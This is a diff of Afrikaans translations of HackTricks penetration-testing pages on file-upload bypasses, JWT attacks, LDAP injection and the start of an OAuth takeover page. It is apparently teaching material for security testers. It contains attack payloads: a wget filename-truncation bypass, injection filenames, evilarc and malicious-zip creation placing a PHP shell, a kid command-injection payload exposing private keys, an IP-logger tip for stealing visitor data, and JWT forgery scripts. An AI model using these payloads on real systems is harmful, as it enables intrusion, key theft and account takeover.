In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
|
||||
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer aflaai met die naam "A"\*232+".php"+".gif", hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -157,29 +156,29 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herlei lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
|
||||
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
|
||||
|
||||
## Gereedskap
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lêer oplaad meganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lêeroplaadmeganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker.
|
||||
|
||||
## Van lêer oplaad na ander kwesbaarhede
|
||||
## Van lêeroplaad na ander kwesbaarhede
|
||||
|
||||
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
|
||||
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL inspuiting** te bereik
|
||||
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
|
||||
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdrag inspuiting te toets (meer [opdrag inspuiting truuks hier](../command-injection.md))
|
||||
- [**XSS** in beeld (svg) lêer oplaad](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversering** te bereik.
|
||||
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik.
|
||||
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik.
|
||||
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md)).
|
||||
- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/#xss-uploading-files-svg).
|
||||
- **JS** lêer **oplaad** + **XSS** = [**Service Workers** uitbuiting](../xss-cross-site-scripting/#xss-abusing-service-workers).
|
||||
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload).
|
||||
- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*.
|
||||
- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
- As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n of ander **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
|
||||
- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy toon hoe om **PDF data in te spuit om JS uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
|
||||
- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
|
||||
- Kyk of daar enige **grootte limiet** is wanneer lêers opgelaai word
|
||||
- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
|
||||
- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het.
|
||||
- Kyk of daar enige **groottegrens** is vir die oplaai van lêers.
|
||||
|
||||
Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -190,13 +189,15 @@ Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](ht
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML inspuiting / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood aanval (DoS)
|
||||
8. **PNG / JPEG**: Pixel vloedaanval (DoS)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp Uitbreiding
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magiese Header Bytes
|
||||
|
||||
@ -219,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decomprimeer in verskillende vouers
|
||||
|
||||
Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gids traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai gidse te ontsnap deur die dekompressie-funksionaliteit van die geteikende toepassing te manipuleer.
|
||||
Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressie-funksionaliteit van die geteikende toepassing te manipuleer.
|
||||
|
||||
'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
|
||||
```python
|
||||
@ -230,7 +231,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Boonop is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
|
||||
|
||||
Hieronder is 'n voorbeeld van Python kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
|
||||
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -288,7 +289,7 @@ pop graphic-context
|
||||
```
|
||||
## Inbedde PHP Shell in PNG
|
||||
|
||||
Inbedde 'n PHP-shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoë van die ingeslote PHP-shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
|
||||
Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
|
||||
|
||||
'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
|
||||
|
||||
@ -313,5 +314,4 @@ Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -17,7 +17,7 @@ As jy gelukkig is, sal die hulpmiddel 'n geval vind waar die webtoepassing die J
|
||||
|
||||
.png>)
|
||||
|
||||
Dan kan jy die versoek in jou proxy soek of die gebruikte JWT vir daardie versoek met jwt\_ tool dump:
|
||||
Dan kan jy die versoek in jou proxy soek of die gebruikte JWT vir daardie versoek dump met jwt\_ tool:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
@ -25,7 +25,7 @@ U kan ook die [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-sab
|
||||
|
||||
### Manipuleer data sonder om enigiets te verander
|
||||
|
||||
U kan net die data manipuleer terwyl die handtekening dieselfde bly en kyk of die bediener die handtekening nagaan. Probeer om u gebruikersnaam na "admin" te verander byvoorbeeld.
|
||||
U kan net met die data manipuleer terwyl die handtekening dieselfde bly en kyk of die bediener die handtekening nagaan. Probeer om u gebruikersnaam na "admin" te verander byvoorbeeld.
|
||||
|
||||
#### **Word die token nagegaan?**
|
||||
|
||||
@ -33,14 +33,14 @@ Om te kyk of 'n JWT se handtekening geverifieer word:
|
||||
|
||||
- 'n Foutboodskap dui op 'n aanhoudende verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
|
||||
- 'n Verandering in die teruggegee bladsy dui ook op verifikasie.
|
||||
- Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload-eise.
|
||||
- Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload claims.
|
||||
|
||||
### Oorsprong
|
||||
|
||||
Dit is belangrik om te bepaal of die token bediener-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
|
||||
Dit is belangrik om te bepaal of die token aan die bedienerkant of kliëntkant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
|
||||
|
||||
- Tokens wat eers van die kliëntkant gesien word, dui daarop dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
|
||||
- Tokens wat bediener-kant oorspronklik is, dui op 'n veilige proses.
|
||||
- Tokens wat eers aan die kliëntkant gesien word, dui daarop dat die sleutel moontlik aan kliëntkantkode blootgestel mag wees, wat verdere ondersoek vereis.
|
||||
- Tokens wat aan die bedienerkant oorspronklik is, dui op 'n veilige proses.
|
||||
|
||||
### Duur
|
||||
|
||||
@ -93,7 +93,7 @@ Die instruksies detail 'n metode om die sekuriteit van JWT tokens te evalueer, v
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
```
|
||||
|
||||
### Kid Probleem Oorsig
|
||||
### Kid Kwessies Oorsig
|
||||
|
||||
'n Opsionele kop eis bekend as `kid` word gebruik om 'n spesifieke sleutel te identifiseer, wat veral belangrik word in omgewings waar verskeie sleutels bestaan vir token handtekening verifikasie. Hierdie eis help om die toepaslike sleutel te kies om 'n token se handtekening te verifieer.
|
||||
|
||||
@ -119,7 +119,7 @@ Hierdie verandering dwing die gebruik van 'n bekende geheime sleutel, `ATTACKER`
|
||||
|
||||
#### OS Inbraak deur "kid"
|
||||
|
||||
'n Scenario waar die `kid` parameter 'n lêerpad spesifiseer wat binne 'n opdraguitvoeringskonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur opdragte in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld payload om RCE en sleutelblootstelling te bereik, is:
|
||||
'n Scenario waar die `kid` parameter 'n lêerpad spesifiseer wat binne 'n opdraguitvoeringskonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur opdragte in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld payload om RCE en sleutelblootstelling te bereik is:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
@ -128,7 +128,7 @@ Hierdie verandering dwing die gebruik van 'n bekende geheime sleutel, `ATTACKER`
|
||||
#### jku
|
||||
|
||||
jku staan vir **JWK Set URL**.\
|
||||
As die token 'n “**jku**” **Header** eis gebruik, moet jy **die verskafde URL nagaan**. Dit moet na 'n URL wys wat die JWKS-lêer bevat wat die Publieke Sleutel vir die verifikasie van die token hou. Manipuleer die token om die jku-waarde na 'n webdiens te wys wat jy kan monitor vir verkeer.
|
||||
As die token 'n “**jku**” **Header** eis gebruik, dan **kyk na die verskafde URL**. Dit moet na 'n URL wys wat die JWKS-lêer bevat wat die Publieke Sleutel vir die verifikasie van die token hou. Manipuleer die token om die jku-waarde na 'n webdiens te wys wat jy kan monitor vir verkeer.
|
||||
|
||||
Eerstens moet jy 'n nuwe sertifikaat met nuwe private & publieke sleutels skep.
|
||||
```bash
|
||||
@ -181,7 +181,7 @@ As die JWT 'n ingebedde publieke sleutel het soos in die volgende scenario:
|
||||
|
||||
.png>)
|
||||
|
||||
Met behulp van die volgende nodejs-skrip is dit moontlik om 'n publieke sleutel uit daardie data te genereer:
|
||||
Met behulp van die volgende nodejs skrip is dit moontlik om 'n publieke sleutel uit daardie data te genereer:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
@ -197,7 +197,7 @@ openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
U kan die "n" en "e" verkry met hierdie nodejs skrip:
|
||||
U kan die "n" en "e" verkry met hierdie nodejs-skrip:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
@ -207,7 +207,7 @@ const publicComponents = key.exportKey('components-public');
|
||||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Uiteindelik, met die publieke en private sleutel en die nuwe "n" en "e" waardes kan jy [jwt.io](https://jwt.io) gebruik om 'n nuwe geldige JWT te vervals met enige inligting.
|
||||
Uiteindelik, met die publieke en private sleutel en die nuwe "n" en "e" waardes kan jy [jwt.io](https://jwt.io) gebruik om 'n nuwe geldige JWT met enige inligting te vervals.
|
||||
|
||||
### ES256: Onthulling van die private sleutel met dieselfde nonce
|
||||
|
||||
@ -218,17 +218,19 @@ Hier is 'n voorbeeld: [ECDSA: Onthulling van die private sleutel, as dieselfde n
|
||||
### JTI (JWT ID)
|
||||
|
||||
Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT Token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
|
||||
Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om **'n versoek te herhaal** (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).
|
||||
Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om 'n **versoek te herhaal** (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).
|
||||
|
||||
### JWT Geregistreerde eise
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
{{#ref}}
|
||||
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
|
||||
{{#endref}}
|
||||
|
||||
### Ander aanvalle
|
||||
|
||||
**Cross-service Relay Aanvalle**
|
||||
|
||||
Daar is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of vernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
|
||||
Daar is waargeneem dat sommige webtoepassings op 'n vertroude JWT-diens staatmaak vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
|
||||
|
||||
- 'n Kritieke probleem kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty-toepassing, aangesien dit 'n wettige grys gebied kan betree.
|
||||
|
||||
@ -236,11 +238,12 @@ Daar is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-dien
|
||||
|
||||
Die token se vervaldatum word nagegaan met die "exp" Payload eis. Aangesien JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die vervalsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Boonop is die implementering van relevante kontroles deur die toepassing om te verseker dat hierdie waarde verwerk word en dat vervalde tokens verwerp word, van kardinale belang. As die token 'n "exp" eis insluit en toetsingstydperke dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met die jwt_tool se -R vlag.
|
||||
|
||||
- 'n Sekuriteitsrisiko mag bestaan as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.
|
||||
- 'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.
|
||||
|
||||
### Gereedskap
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/ticarpi/jwt_tool
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
### **LDAP**
|
||||
@ -15,7 +14,7 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat dit aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers in staat stel om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
@ -32,8 +31,8 @@
|
||||
**Substring** = attr ”=” \[begin] \* \[eindig]\
|
||||
**Begin** = assertionvalue\
|
||||
**Eindig** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absoluut WAAR\
|
||||
&#xNAN;**(|)** = Absoluut VALSE
|
||||
&#xNAN;**(&)** = Absolute TRUE\
|
||||
&#xNAN;**(|)** = Absolute FALSE
|
||||
|
||||
Byvoorbeeld:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
@ -181,7 +180,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **Spesiale Blind LDAP Inspuiting (sonder "\*")**
|
||||
#### **Spesiale Blinde LDAP Inspuiting (sonder "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
@ -204,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Meer Payloads
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,12 @@
|
||||
# OAuth na Rekening oorname
|
||||
# OAuth na Rekening oorneem
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basiese Inligting <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth bied verskeie weergawes, met fundamentele insigte beskikbaar by [OAuth 2.0 dokumentasie](https://oauth.net/2/). Hierdie bespreking fokus hoofsaaklik op die algemeen gebruikte [OAuth 2.0 magtigingskode toekennings tipe](https://oauth.net/2/grant-types/authorization-code/), wat 'n **magtigingsraamwerk bied wat 'n toepassing in staat stel om toegang te verkry of aksies op 'n gebruiker se rekening in 'n ander toepassing uit te voer** (die magtigingsbediener).
|
||||
|
||||
Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat een. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemming skerm verskyn op _https://socialmedia.com_, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die versoek doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **jou plasings namens jou te benader**.
|
||||
Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat een. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemming skerm verskyn op _https://socialmedia.com_, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die versoek doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **toegang tot jou plasings namens jou** te verkry.
|
||||
|
||||
Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te verstaan:
|
||||
|
||||
@ -17,13 +16,13 @@ Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te ve
|
||||
- **authorization server**: Die **bediener wat `access tokens` uitreik** aan die `client application` na die suksesvolle verifikasie van die `resource owner` en die verkryging van magtiging, bv. **https://socialmedia.com**.
|
||||
- **client_id**: 'n Publieke, unieke identifiseerder vir die toepassing.
|
||||
- **client_secret:** 'n Vertroulike sleutel, bekend slegs aan die toepassing en die magtigingsbediener, wat gebruik word om `access_tokens` te genereer.
|
||||
- **response_type**: 'n Waarde wat **die tipe token wat aangevra word** spesifiseer, soos `code`.
|
||||
- **response_type**: 'n Waarde wat die **type token wat aangevra word** spesifiseer, soos `code`.
|
||||
- **scope**: Die **vlak van toegang** wat die `client application` van die `resource owner` aan vra.
|
||||
- **redirect_uri**: Die **URL waarnatoe die gebruiker herlei word na magtiging**. Dit moet tipies ooreenstem met die vooraf geregistreerde herlei URL.
|
||||
- **state**: 'n parameter om **data te handhaaf oor die gebruiker se herleiding na en van die magtigingsbediener**. Die uniekheid daarvan is krities om as 'n **CSRF beskermingsmeganisme** te dien.
|
||||
- **grant_type**: 'n parameter wat **die toekennings tipe en die tipe token wat teruggegee moet word** aandui.
|
||||
- **code**: Die magtigingskode van die `authorization server`, wat saam met `client_id` en `client_secret` deur die kliënttoepassing gebruik word om 'n `access_token` te verkry.
|
||||
- **access_token**: Die **token wat die kliënttoepassing gebruik vir API versoeke** namens die `resource owner`.
|
||||
- **grant_type**: 'n parameter wat die **toekennings tipe en die tipe token wat teruggegee moet word** aandui.
|
||||
- **code**: Die magtigingskode van die `authorization server`, wat saam met `client_id` en `client_secret` deur die client application gebruik word om 'n `access_token` te verkry.
|
||||
- **access_token**: Die **token wat die client application gebruik vir API versoeke** namens die `resource owner`.
|
||||
- **refresh_token**: Stel die toepassing in staat om **'n nuwe `access_token` te verkry sonder om die gebruiker weer te vra**.
|
||||
|
||||
### Stroom
|
||||
@ -40,7 +39,7 @@ https://socialmedia.com/auth
|
||||
&scope=readPosts
|
||||
&state=randomString123
|
||||
```
|
||||
3. Jy word dan met 'n toestemmingsbladsy voorgestel.
|
||||
3. Jy word dan met 'n toestemmingsbladsy voorgestel.
|
||||
4. Na jou goedkeuring, stuur Social Media 'n antwoord na die `redirect_uri` met die `code` en `state` parameters:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
@ -59,15 +58,15 @@ Host: socialmedia.com
|
||||
|
||||
Die `redirect_uri` is van kardinale belang vir sekuriteit in OAuth en OpenID implementasies, aangesien dit aandui waar sensitiewe data, soos magtigingskode, gestuur word na magtiging. As dit verkeerd geconfigureer is, kan dit aanvallers toelaat om hierdie versoeke na kwaadwillige bedieners te herlei, wat rekening oorname moontlik maak.
|
||||
|
||||
